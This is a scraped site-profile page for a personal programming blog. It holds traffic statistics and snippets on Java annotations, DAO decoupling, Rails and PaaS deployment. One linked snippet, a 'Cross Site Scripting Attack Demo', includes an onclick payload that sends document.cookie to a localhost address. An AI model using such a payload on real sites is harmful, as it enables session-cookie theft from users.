sunfeng.ca sunfeng.ca

sunfeng.ca

Frank Sun

September 26, 2014 10:25 pm. 通过注解(Annotatoin)我们可以轻松实现两个层次的解耦 首先写一个注解类 @Retention(RetentionPolicy.RUNTIME) public @interface getClassAnnotation{ public String className(); } 在dao层写一个工厂 public class UserDaoFactory { private String userDaoClassName; private static UserDaoFactory instance = new UserDaoFactory(); private UserDaoFactory(){ ClassNameAnnotaton annotation = UserDao.class.getAnnotation(ClassNameAnnotaton.class); this.userDaoClassName = annotation.className(); } public stati...Read More →. Thanks L...

http://www.sunfeng.ca/

WEBSITE DETAILS
SEO
PAGES
SIMILAR SITES

TRAFFIC RANK FOR SUNFENG.CA

TODAY'S RATING

>1,000,000

TRAFFIC RANK - AVERAGE PER MONTH

BEST MONTH

March

AVERAGE PER DAY Of THE WEEK

HIGHEST TRAFFIC ON

Tuesday

TRAFFIC BY CITY

CUSTOMER REVIEWS

Average Rating: 2.9 out of 5 with 7 reviews
5 star
1
4 star
1
3 star
3
2 star
0
1 star
2

Hey there! Start your review of sunfeng.ca

AVERAGE USER RATING

Write a Review

WEBSITE PREVIEW

Desktop Preview Tablet Preview Mobile Preview

LOAD TIME

1.8 seconds

CONTACTS AT SUNFENG.CA

Login

TO VIEW CONTACTS

Remove Contacts

FOR PRIVACY ISSUES

CONTENT

SCORE

6.2

PAGE TITLE
Frank Sun | sunfeng.ca Reviews
<META>
DESCRIPTION
September 26, 2014 10:25 pm. 通过注解(Annotatoin)我们可以轻松实现两个层次的解耦 首先写一个注解类 @Retention(RetentionPolicy.RUNTIME) public @interface getClassAnnotation{ public String className(); } 在dao层写一个工厂 public class UserDaoFactory { private String userDaoClassName; private static UserDaoFactory instance = new UserDaoFactory(); private UserDaoFactory(){ ClassNameAnnotaton annotation = UserDao.class.getAnnotation(ClassNameAnnotaton.class); this.userDaoClassName = annotation.className(); } public stati...Read More →. Thanks L...
<META>
KEYWORDS
1 frank sun
2 useful resources
3 annotation与工厂模式解耦dao与service
4 这在开发中会极大降低效率的
5 posted in
6 design pattern
7 j2ee中几种业务代理模式的实现和比较
8 dao如何与业务层解耦
9 在没有使用代理模式的时候,使用者和被使用者耦合
10 使用代理模式之后,使用者和代理耦合,代理和被使用者耦合
CONTENT
Page content here
KEYWORDS ON
PAGE
frank sun,useful resources,annotation与工厂模式解耦dao与service,这在开发中会极大降低效率的,posted in,design pattern,j2ee中几种业务代理模式的实现和比较,dao如何与业务层解耦,在没有使用代理模式的时候,使用者和被使用者耦合,使用代理模式之后,使用者和代理耦合,代理和被使用者耦合,下面举个不太恰当的例子,假设客户要开发一个游戏,刚开始,有猫和儿童两个类,儿童和猫玩,这两个类有了耦合,突然,有一天,客户说和猫玩没意思,要和狗玩
SERVER
Apache
CONTENT-TYPE
utf-8
GOOGLE PREVIEW

Frank Sun | sunfeng.ca Reviews

https://sunfeng.ca

September 26, 2014 10:25 pm. 通过注解(Annotatoin)我们可以轻松实现两个层次的解耦 首先写一个注解类 @Retention(RetentionPolicy.RUNTIME) public @interface getClassAnnotation{ public String className(); } 在dao层写一个工厂 public class UserDaoFactory { private String userDaoClassName; private static UserDaoFactory instance = new UserDaoFactory(); private UserDaoFactory(){ ClassNameAnnotaton annotation = UserDao.class.getAnnotation(ClassNameAnnotaton.class); this.userDaoClassName = annotation.className(); } public stati...Read More →. Thanks L...

INTERNAL PAGES

sunfeng.ca sunfeng.ca
1

J2EE中几种业务代理模式的实现和比较 | Frank Sun

http://sunfeng.ca/j2ee中几种业务代理模式的实现和比较

September 26, 2014 10:23 pm. Public ActionForward update(ActionMapping mapping,. Next Post →. Pyramid Theme by ThemeLeopard.

2

Rails Transactions | Frank Sun

http://sunfeng.ca/rails-transactions

May 8, 2014 10:15 pm. I have an example Action in a Controller. How to add transactions for this code? I try with this example code:. But it produces this error:. I read about using transactions in Controllers is a bad practice but I don’t know why is the reason ( http:/ markdaggett.com/blog/2011/12/01/transactions-in-rails/. In the example, if product has been created and saved and the client update fail… Rails must not do nothing. Is a class method on. Maybe something like this:. Then instead of calling.

3

Auditing and model lifecycle management for instances and their associations? | Frank Sun

http://sunfeng.ca/auditing-and-model-lifecycle-management-for-instances-and-their-associations

Auditing and model lifecycle management for instances and their associations? May 8, 2014 10:33 pm. From: http:/ stackoverflow.com/questions/1615977/auditing-and-model-lifecycle-management-for-instances-and-their-associations. CRUD operations must be logged, including what the operation was, who the actor was, and when the operation occurred. This can be addressed with an ActiveRecord: Callbacks and an attr accessor field. In any of the models that need to be logged add the following. As for a checksum&#...

4

C | Frank Sun

http://sunfeng.ca/category/c

August 6, 2011 10:06 pm. It is desirable to be able to execute a process whose logical address space is larger than the available physical address space. Virtual memory is a technique that enables us to map a large logical address space onto a smaller physical memory. Virtual memory allowrs us to run extremely large processes and to raise the …. Read More →. July 8, 2011 12:58 am. Read More →. June 18, 2011 12:27 am. Read More →. Lseek() – (C System Call). June 17, 2011 12:49 am. Lseek is a system call t...

5

How to freaking deploy on CloudBees, CloudFoundry, Heroku, Windows Azure, OpenShift, Elastic Beanstalk and Google AppEngine | Frank Sun

http://sunfeng.ca/how-to-freaking-deploy-on-cloudbees-cloudfoundry-heroku-windows-azure-openshift-elastic-beanstalk-and-google-appengine

How to freaking deploy on CloudBees, CloudFoundry, Heroku, Windows Azure, OpenShift, Elastic Beanstalk and Google AppEngine. May 8, 2014 1:33 am. From: http:/ osintegrators.com/node/145. The following are the installation notes/instructions that correspond with our article in Infoworld entitled “ Which Freaking PaaS Should I Use? 8220; This is what you can do to reproduce the steps we used to deploy the Granny’s Addressbook war file. Granny’s Addressbook was created using the Spring Tool Suite (STS).

UPGRADE TO PREMIUM TO VIEW 14 MORE

TOTAL PAGES IN THIS WEBSITE

19

LINKS TO THIS WEBSITE

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: How To Create Custom Post Meta Boxes In WordPress

http://yorkerfrank.blogspot.com/2013/01/how-to-create-custom-post-meta-boxes-in.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Thursday, January 17, 2013. How To Create Custom Post Meta Boxes In WordPress. From: http:/ wp.smashingmagazine.com/2011/10/04/create-custom-post-meta-boxes-wordpress/. Using meta boxes with any post type. Saving custom meta data. Retrieving custom meta data on the front end.

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: Debugging tips in Ruby on Rails

http://yorkerfrank.blogspot.com/2013/02/debugging-tips-in-ruby-on-rails.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Thursday, February 7, 2013. Debugging tips in Ruby on Rails. From: http:/ paulsturgess.co.uk/articles/39-debugging-tips-in-ruby-on-rails. 8211; Even though this article is now years old, these debugging tips still hold true. And look for the first one that begins with. Tailing ...

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: How to find new SEO opportunities with Google Analytics and Webmaster Tools

http://yorkerfrank.blogspot.com/2013/01/how-to-find-new-seo-opportunities-with.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Saturday, January 12, 2013. How to find new SEO opportunities with Google Analytics and Webmaster Tools. October 20, 2011. From: http:/ www.6smarketing.com/how-to-find-new-seo-opportunities-with-google-webmaster-tools-integration-in-google-analytics/. On October 4 2011,. One th...

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: Cross Site Scripting Attack Demo

http://yorkerfrank.blogspot.com/2012/11/cross-site-scripting-attack-demo.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Thursday, November 29, 2012. Cross Site Scripting Attack Demo. A onclick="document.location='http:/ localhost/? Cookie=' escape(document.cookie);" href="#" click here /a to know more about. To know more about. Subscribe to: Post Comments (Atom). Annotation in JavaEE 5.

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: July 2012

http://yorkerfrank.blogspot.com/2012_07_01_archive.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Friday, July 20, 2012. Fetching a image in server context path from javascript code. From: http:/ stackoverflow.com/questions/8487724/fetching-a-image-in-server-context-path-from-javascript-code. I can think of a few possibilities. Am I missing any? Or the BASE tag. I'm favorin...

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: API

http://yorkerfrank.blogspot.com/p/api.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Struts 2 Tag Reference. Hibernate 3.2 API. Spring 3.1 API. Subscribe to: Posts (Atom). Annotation in JavaEE 5. J2EE 1.4 Tutorial. Java Servlet Programming Book. Java Servlet Programming Examples. Http:/ www.docstoc.com/. SpecFlow for .NET. Hardware Testing Tool Kit.

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: January 2013

http://yorkerfrank.blogspot.com/2013_01_01_archive.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Thursday, January 17, 2013. How To Create Custom Post Meta Boxes In WordPress. From: http:/ wp.smashingmagazine.com/2011/10/04/create-custom-post-meta-boxes-wordpress/. Using meta boxes with any post type. Saving custom meta data. Retrieving custom meta data on the front end.

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: May 2012

http://yorkerfrank.blogspot.com/2012_05_01_archive.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Monday, May 28, 2012. 啃啃老菜:Spring IOC核心源码学习(一). From: http:/ www.iteye.com/magazines/72. 所谓控制反转,就是把原先我们代码里面需要实现的对象创建、依赖的代码,反转给容器来帮忙实现。那么必然的我们需要创建一个容器,同时需要一种描述来让容器知道需要创建的对象与对象的关系。这个描述最具体表现就是我们可配置的文件。 回到正题,有了配置文件,还需要对配置文件解析。 以上五个都是接口,都有各式各样的实现,正是这 5. 3将BeanDefinition注册到BeanFactor...

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: June 2012

http://yorkerfrank.blogspot.com/2012_06_01_archive.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Thursday, June 28, 2012. Http:/ hkliya.iteye.com/blog/1569807. 12298;Clean Code》一书中有一章专门讲如何更好地使用第三方代码,当时没有什么体会,但最近的一个需求引发了我的思考。 事情是这样的,我们的系统中使用了一些jQueryUI里的控件,比如Dialog。 用了很长时间,也没什么问题,但昨天用户突然提出,这个Dialog能不能最大化? 从而将具体的jQueryUI Dialog或者WijDialog隐藏起来,让客户端不知道它的存在。 It’s commonly...

yorkerfrank.blogspot.com yorkerfrank.blogspot.com

Frank Sun: struts2源码分析-IOC容器的实现机制(上篇)

http://yorkerfrank.blogspot.com/2012/11/struts2-ioc.html

This blog is meant for my personal reference and keeping track of what I have learnt. Most articles are found through search engines, if you are the author of the article and would like to remove from this blog, please contact me. Monday, November 26, 2012. From: http:/ blog.csdn.net/fcbayernmunchen/article/details/7686385. 对于 一个ioc 容器来说,其核心功能是对象获取和依赖注入,在struts2 中容器的接口表示如下:. String DEFAULT NAME = "default". Injects dependencies into the fields and methods of an existing object. 从Containter接口的表示方法中&#65292...

UPGRADE TO PREMIUM TO VIEW 4 MORE

TOTAL LINKS TO THIS WEBSITE

14

SOCIAL ENGAGEMENT



OTHER SITES

sunfellow.com sunfellow.com

David Sunfellow • Sedona, Arizona Wedding Photographer

Click here to visit our new website. Sedona, Arizona wedding photographer David Sunfellow.

sunfellows.com sunfellows.com

サン・フェローズ ボディケアレッスン

運動を通じて本物の健康と笑顔を 新規クラス開設 メンバー サポーター募集中 名古屋 春日井 刈谷 岐阜市近郊. 受付時間 木曜を除く 午前9時 正午12時. 春日井ボディケアレッスン 開催中 3.4月の予定はこちら. 1月9日(月) 祝日 尾張旭ボディケアレッスン開催 終了しました. サン フェローズの ボディケアレッスン は次のような不具合を改善します。 名古屋市 春日井市 刈谷市 岐阜市近郊. あなたの街でもサン フェローズの ボディケアレッスン を開催します。 Health is a state of complete physical, mental and social well-being and not merely the absence of disease or infirmity. 川元照子(一般社団法人サン フェローズ代表理事)が42年前、子供や成人女性対象に 健康づくり体操教室 の指導をした事がはじまりです。 春日井ボディケアレッスン 開催中 3.4月の予定はこちら. 1月9日(月) 祝日 尾張旭ボディケアレッスン開催 終了しました.

sunfelt.co.jp sunfelt.co.jp

SUN FELT | サンフェルトのホームページ

第81回東京インターナショナル ギフト ショー春2016 出展のお知らせ.

sunfen.com sunfen.com

域名售卖

sunfeng.ca sunfeng.ca

Frank Sun

September 26, 2014 10:25 pm. 通过注解(Annotatoin)我们可以轻松实现两个层次的解耦 首先写一个注解类 @Retention(RetentionPolicy.RUNTIME) public @interface getClassAnnotation{ public String className(); } 在dao层写一个工厂 public class UserDaoFactory { private String userDaoClassName; private static UserDaoFactory instance = new UserDaoFactory(); private UserDaoFactory(){ ClassNameAnnotaton annotation = UserDao.class.getAnnotation(ClassNameAnnotaton.class); this.userDaoClassName = annotation.className(); } public stati...Read More →. Thanks L...

sunfeng.com sunfeng.com

sunfeng.com

sunfengdf.haodf.com sunfengdf.haodf.com

孙峰医生个人网站_好大夫在线

门诊时间 每周二周五下午13 00-16:00,周日上午8:00-11:30,挂号费4元。 患者推荐热度 综合 4.4. 总 访 问 575,553. 总 患 者 2784.

sunfenglie.deviantart.com sunfenglie.deviantart.com

sunfenglie (&#x5B59;&#x70FD;&#28) - DeviantArt

Window.devicePixelRatio*screen.width 'x' window.devicePixelRatio*screen.height) :(screen.width 'x' screen.height) ; this.removeAttribute('onclick')" class="mi". Window.devicePixelRatio*screen.width 'x' window.devicePixelRatio*screen.height) :(screen.width 'x' screen.height) ; this.removeAttribute('onclick')". Join DeviantArt for FREE. Forgot Password or Username? Amp;#23385;&#28925;&#28. Male/People's Republic of China. Deviant for 5 Years. This deviant's full pageview. Last Visit: 140 weeks ago. 25105;&...

sunfengqiao.com sunfengqiao.com

乐师网-为了充满智慧的教育

支持 自营 商家入驻模式 来迅速扩充工业和农产品品类. 支持 自营 商家入驻模式 来迅速扩充工业和农产品品类,完美打通当下农村/城市信息壁垒痛点,是您开启农村电商蓝海市场的不二之选. [详细]. 为企业提供pc版 触屏版 微信版三合一,并带有官方商城的企业网站建设解决方案,帮助企业快速建立起具有营销功能的网站平台 [详细]. 网 址 http:/ www.emaotai.cn. 模 式 PC商城 微信商城 手机商城. 网 址 http:/ www.broadair.net. 模 式 pc商城 手机商城. 网 址 http:/ mall.gzr.com.cn. 模 式 pc商城 ERP. 网 址 http:/ www.delixi-ele.com. 模 式 pc商城 微信商城 手机商城. 网 址 http:/ www.dutego.com/. 模 式 pc商城 手机商城. 网 址 http:/ www.jxtvshop.com/. 模 式 PC商城 微信商城 手机商城 O2O.

sunfengs.com sunfengs.com

建设中